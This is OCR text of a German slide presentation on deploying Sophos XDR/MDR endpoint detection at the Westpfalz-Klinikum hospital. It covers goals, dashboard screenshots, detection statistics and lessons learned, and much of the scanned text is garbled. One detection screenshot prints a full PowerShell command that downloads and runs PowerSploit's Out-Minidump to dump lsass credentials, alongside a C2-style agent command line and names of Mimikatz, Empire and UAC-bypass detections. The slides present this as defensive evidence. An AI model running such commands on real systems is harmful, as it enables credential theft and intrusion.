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1 Herausforderungen

2 Aufgabenstellung

3 Blick ins System

4 Zusammenfassung der Erfahrungen aus dem Westpfalz-Klinikum

5 Lessons Learned
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Pos. TOP
1 Absicherung gegen Cyberangriffe
2 Einhaltung von Compliance-Anforderungen
3 Altsysteme
4 3rd Party Integration
5 Performance

6 Entlastung des Krankenhaus IT-Personals herbeifuhren
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AUFGABENSTELLUNG

aaaaaaaaa ENTSCHEIDERFABRIK

Pos. TOP
1 Design der Infrastruktur (Agenten, Konnektoren, Proxy (Update-Cache, Message Relay))
2 Einrichten von SOPHOS-Central (Rechtevergabe der Administratoren)
3 Onboarding MDR (SOC)
4 Client und Software-Installation von SOPHOS Agent (XDR-Agent)
5 Anbindung der bestehenden SOPHOS- und 3rd Party-Firewalls
6 Einbetten Management of Incidents in bestehende Prozesse

14 Positionierung und Aktivierung NDR



BLICK INS SYSTEM
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OUTCOME OPTIMIZATION

AND AUTOMATION

_ISOp'l__\os Qlouq Sophos X-Ops M .

¥ Sophos Email SophosAl -

ADAPTIVE cyBERSECURITY
Sophos Firewall & SASE .. ' ECOSYSTEN bvensizs Sophos Factory

‘Sophos Endpoint : SQ‘phois: Health Check

Sophos MDR | Sophos XDR

THREAT DETECTION AND RESPONSE

SOPHOS
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Telemetrie

Endpoint

Firewall

Email

Cloud

NDR

|dentitat

Netzwerk

Viele Milltarden Events

Bedrohungsanalyse und Korrelatiq'

Sophos XDR Data Lake
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Threat
Intelligence T

Automatische

Reaktion

+

Erweiterte

Analyse

Untersuchung und Reaktion

24/7 Managed Detection
and Response Services

Sophos MDR Experten fir
Bedrohungssuche, Analyse und Reaktion

38 @ Zeit bis zur
Min Behebung

__________

wenige
Eskalationen

Investigation and
Response Platform

Sophos Central als zentrale Plattform far
Untersuchung, Reporting und Management

Selbst verwaltet oder zusammen mit
dem Sophos MDR Team



Erkennungen

Ubersicht  Bedrohungsanalyse-Center Dashboard

BLICK INS SYSTEM
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Erkannungen

Dienstag, 17. Oktober 2023 um 13:44 - Mittwoch, 18. Oktober 2023 um 13:44

40

30

20

10

Info

Gruppieren nach

I Niedrig

Schweregrad ;

20:00

B Hoch

Ohne [nicht gruppiert)

Typ &

Threat

Threat

Threat

Threat

Threat

Threat

Threat

Threat

Threat

Threat

[l Kritisch

Erkennung :

WIN-EXE-PSH-SUSP-IEX-1

WIN-EXE-PSH-SUSP-IEX-1

WIN-EXE-PSH-BAD-PS-PAYLOAD-WORDS-1

WIN-EXE-PSH-POWERSHELL-EMPIRE-2

WIN-DIS-PSH-LSASS-PID-DISCOVERY-1

WIN-EXE-PSH-POWERSPLOIT-CMDLET-1

WIN-EXE-PSH-POWERSPLOIT-CMDLET

WIN-PRI-PRC-FODHELPER-UAC-BYPASS-1

WIN-CRD-PSH-INVOKE-MIMIKATZ-1

WIN-EXE-PSH-POWERSHELL-EMPIRE-2

Uhrzeit »

»

18.10.23, 13:33

18.10.23, 13:33

18.10.23,13:33

18.10.23, 13:33

1810.23 13:33

18.10.23, 13:33

18.10.23, 13:33

1810.23, 13:33

18.10.23, 13:33

18.10.23,13:33

Einheit -

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

PC-RobinHood

Q

Kategorie

MITRE-Angriff :

Execution

Execution

Execution

Execution

Discovery

Executlon

Execution

Privilege Escalation

Execution

Execution

WIN-EXE-PSH-POWERSPLOIT-CMDLET-1

Sophos

€© Erkennungsdetails

Erkennungs-ID

WIN-EXE-PSH-POWERSPLOIT-CMDLET-1

Schweregrad High

Uhrzeit 1810.2023,13:32:35

Geratetyp computer

Hostname PC-RobinHood =
Detection-IP 192168145.26 =
Ubergeordnete Befehiszeile "C\Users\Public\splunkd.exe" -server htt

Sophos-Prozess-I0

Dateipfad

Befehiszelle

Benutzername
MITRE-TTP

p:1/192.168.145.215:8888 -group red
7528:133421021220574887 et
C:\Windows\System32\WindowsPowerSh =
ellw1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -C
“[Net.ServicePointManager]::SecurityProto
col = [Net.SecurityProtocol Type]:Tis12; IEX
(New-Object Net.WebClient).DownloadStrin
g(https:/fraw.githubusercontent.com/mattif
estation/PowerSploit/master/Exfiltration/Ou
t-Minidump.ps1'); get-process Isass | Out-M
inidump"

plcasso

TAOOO2 - Execution, TAOOO3 - Persistenc
e, TADOO4 - Privilege Escalation, TAOOOS -
Defense Evasion, TAOOOG - Credential Acc
ess, TAO0O7 - Discovery, TAOOQS - Collect
ion

MITRE-Taktik(en)

> TA0DO2
> TADOO3
> TADOO4
> TADOQS
> TADOO6
> TA0DO7
> TADOCS

Execution ¢
Persistence &
Privilege Escalation &
Defense Evasion &1
Credential Access (]
Discovery &)
Collection o

— Ahnliche Erkennungen

B ahnliche Erkennungen
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Zusammenfassung der Erfahrungen im
Westpfalz-Klinikum
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Pos. TOP
1 Rollout-Phase: kritische Prufung der Systemressourcen der Server vorab
2 Dashboard ermoglicht unmittelbares Erkennen von Auffalligkeiten - ,taglicher Blick® ins Dashboard
3 Alle Bereiche im Team ,Infrastruktur” nutzen das Dashboard - Gegenseitiger Hinweis bei Auffalligkeiten

,<Zahlen, Daten, Fakten® (Bezug letzte 90 Tage):
4 « 353 unerwunschte Applikationen erkannt, 163 blockiert, 135 bereinigt, 23 keine Bereinigung notwendig
* 100 Malware-Erkennungen

5 Aktiver Eingriff durch Sophos-MDR nicht notwendig

6 Wunsch/Anforderung: regelmalliger Managementbericht (mind. pro Quartal) als Nachweisdokument fur Audits
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Bedrohungsanalyse-Center - Bedrohungsgraphen
Ubersicht  Bedrohungsanalyse-Center Dashboard Eear: gegraphe

Yon Sophaos erzeugt Vom Admin erzeugt

Q Gerdt Alle v Status Alle v Prioritht: Alle v rotion vy

[:] Status ¢ Erstellt um « Prioritat ¢ Name 3 Benutzer GCerat Geradtetyp

D Neu 30. Okt. 2023 23:48 Niedrig Lockaown Computer

D Neu 30. Okt. 2023 16:27 Mitte! Lockcown Computer

D Neu 30 Okt 2023 15:42 Mitted Lockdown Computer

D Neu 30. Okt. 2023 15:38 Mitted Lockdown Computer

[:] Neu 30. Okt. 2023 15:35 Mittel Lockdown Computer

[:] Neu 27 Okt 2023 15:50 Hoch APCViclation Computer

D Neu 26, Okt. 2023 10:56 Niedrig HeapSpray Computer

D Neu 25. Okl 2023 17:39 Hoch APCViclation Computer

D Neu 25. Okt. 202317:37 Hoch APCViolation Computer

D Ney 25. Okt 2023 1406 Hoch APCViolation Computer I
D Neu 25 Okt 20231404 Hoch APCViolation Computer

D Neu 45 Okt 2023 13:48 Hoch APCViolation Computer

D Neu 25 Okt 2023 13:37 Hoch APCViclation Computer |
D Neu 25 Okt 2023 0819 Nwdrig HeapSpray Computer ,
D Neu 24 Okt 2023 08:49 Nigdng HeapSpray Computer
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Erkennungen

Ubersicht  Bedrohungsanalyse-Center Dashboard  Erianm
Sorintag, 1. Oktober 2023 um 10:10 - Dwenistag, 31. Oktooer 2023 um 10:10

15,000

10,000

c NN m e N - -

Okt. 07 Okt. 10 Okt. 13 Okt. 16 Okt. 19 Okt. 22 Okt, 25 Okt. 28

info [ Niedrig ) Mittel ] Hoch [} Kritisch

Gruppieren nach v
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Erkennungen

Ubersicht  Bedrohungsanalyse-Center Dashboard
Sonntag, 1. Oktober 2023 um 10270 - Dwenstag, 31. Oktooer 2023 um 1010

15,000

10,000

- oL | H . P N . - .

Okt. 04 Okt. 07 Okt. 10 Okt. 13 Okt. 16 Okt. 19 Okt 22 Okt, 25 Okt. 28

info [ Niedrig J Mittel [ Hoch [ Kritisch

Gruppleren nach Ohne (nicht grupplert) v Benutzerdefinierter Zeltraum v
Schweregrad + ¥ Typ ¢ ¥ Erkennung ¢ V Uhrzeit & Einheit 3 Kategorie + ¥ Quelle + V¥ MITRE-Angriff
Threat WIN-DET-T1587.002 « 311023 1009 PCE073E7CEQFSF - Sophos Resource Development
Low Threat WIN-DET-T1587.002 =  3110.23,1009 PCE073E7CEQFSF z Sophos Resource Development
“ Threat WIN-DET-T1587,002 =  3110.23,10:00 PCE073E7CEQFSF ‘ Sophos Resource Development I
Threat WIN-DET-T1587.002 - 311023, 10:(@j PCE073E7CESFBF Sophos Resource Development
Low Threat WIN-DET-T1587.002 - 31.10.23, 10:.09 PCEO73E7CESF8F Sophos Resource Development
Low Threat WIN-DET-T1587.002 - 31.10.23, 10:09 PCEO73E7CESF8BF | Sophos Resource Development |

LOw Threat WIN-DET-T1021.002 - 31.10.23, 10:09 PCCO025A5AD3440D ' Sophos Lateral Movement
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Erkennungen

Ubersicht  Bedrohungsanalyse-Center Dashboard
Montag, 16. Oktober 2023 um 02:00 - Dienstag, 17. Oktober 2023 um 01:59

3,000
2,000
1,000

04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 2000 22°00 00:00

info [ Niedrig | Mittel ] Hoch [ Kritisch

Gruppieren nach Ohne (nicht gruppiert) v Benutzerdelinierter Zeltraum v

Schweregrad + ¥ Tyvp 2 ¥V Erkennung + V Uhrzeit 2 Einheilt + Kategorie + ¥ Quelle + Y MITRE-Angriff
B e WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,01:35  SRV-RICO Sophos Execution
D e WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,01:35  SRV-RICO | Sophos Execution
D hea WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,01:05  SRV-RICO Sophos Execution
B e WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,01:05  SRV-RICO Sophos Execution
B e WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,00:45  SRV-RICO | Sophos Execution
B e WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,00:35  SRV-RICO Sophos Execution
— Threat WIN-EXE-PRC-W3WP-SUSP-CMD-EXECUTION-1 =  1710.23,00:35  SRV-RICO Sophos Execution
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Analysen

Ubersicht  Bedrohungsanalyse-Center Dashboard

ERFAHRUNGSWERTE WESTPFALZ-KLINIKUM

Prioritat ¢ Analyse $

2023-10-26-001

2023-10-25-001

2023-10-24-001

2023-10-23-001

2023-10-22-001

- -

Status

Nicht gest...

Nicht gest...

Nicht gest...

Nicht gest...

Nicht gest...

Nicht gest...

Nicht gest...

Kennung 3

-=10-26-001

--10-25-001

«~10-24-001

«.=10-23-001

--10-22-001

-~ 10-20-001

Zugewiesen
Zu

Nicht zugewie

Nicht zugewie

Nich! zugewie

Nicht zugewie

Nicht zugewia

Nicht zugewle

Nicht zugewie

Erstellt

Alter ¢

11 Tage

12 Tage

13 Tage

14 Tage

15 Tage

16 Tage

17 Tage

Gerate

Integrationen Erkennungen

A 56

ON 74

A 97

. 97

» 97

.. 97

JLuletzt
‘bearbeitet

26. Okt. 2023...

vor 11 Tagen

26. Okt. 2023...

vor 11 Tagen

25. Okt 2023..

vor 12 Tagen

24, Okt 2023..

vor 13 Tagen

23. Okt, 2023...

vor 14 Tagen

22. Okt 2023...

vor 15 Tagen

21, Okt. 2023 ...

same 1E T amanm

: Erste
Erkennung

02:03:12

02:03112

02:06113

02:05:56

02:06M

02:05:51

ANAEEN

26. Okt. 20...

25, Okt. 20..,

24, Okt. 20...

23. Okt 20...

22, Okt. 20...

21, Ok1, 20...

20. Ok1. 20...

Letzte
Erkennung

26, Okt. 2023
15:33:36

26. Okt. 2023
01:33:27

25. Okt. 2023
00:33:08

24. Okt 2023
01:36:02

23. Okt 2023
01:36:04

22. Okt. 2023
01:35:51

21, Okt. 2023

[aS Bie 1 S &

Zuletzt aktualisiert: 06.11.2023, 10117

A
L

Zusammenfassung

initial Detection: WIN-
EXE-PRC-W3WP-
SUSP-CMD-...

initial Detection: WIN-
EXE-PRC-W3WP-
SUSP-CMD-,..

Initial Detection: WIN-
EXE-PRC-W3WP-
SUSP-CMD-...

Initial Detection: WIN-
EXE-PRC-W3WP-
SUSP-CMD-...

initial Detection: WIN- [JP5
EXE-PRC-W3WP- .
SUSP-CMD-...

initial Datection: WIN-
EXE-PRC-W3Wwp-
SUSP-CMD-,,.

Initial Detection: WIN- l
EXE-PRC-W3WP-

Q
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LESSONS LEARNED
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Pos.

TOP

Rollout XDR-Agent arbeitsintensiv (bspw. False Positives, Tamper Protection)
Onboarding MDR und Go-Live sehr unkompliziert

Integration in bestehende Prozesse Uberschaubar (SOC hat Berechtigungen einzugreifen)
Konsolidierung der Firewalls notwendig

GrolRer Know-How Input durch lokalen Partner

15



